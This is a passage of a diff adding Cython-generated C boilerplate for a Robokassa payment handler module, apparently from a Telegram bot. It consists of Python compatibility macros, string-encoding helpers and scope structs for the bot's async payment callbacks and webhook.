((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__robokassa_pay +#define __PYX_HAVE_API__handlers__payments__robokassa_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/robokassa_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* ForceInitThreads.proto */ +#ifndef __PYX_FORCE_INIT_THREADS + #define __PYX_FORCE_INIT_THREADS 0 +#endif + +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa; +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook; +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection; +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input; + +/* "handlers/payments/robokassa_pay.py":65 + * + * + * @router.callback_query(F.data == "pay_robokassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_robokassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; +}; + + +/* "handlers/payments/robokassa_pay.py":116 + * + * + * @router.callback_query(F.data.startswith("robokassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + long __pyx_v_inv_id; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_e; + PyObject *__pyx_v_inv_id; + PyObject *__pyx_v_params; + PyObject *__pyx_v_request; + PyObject *__pyx_v_shp_id; + PyObject *__pyx_v_signature_value; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; +}; + + +/* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ +struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_e; + long __pyx_v_inv_id; + PyObject *__pyx_v_message; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) 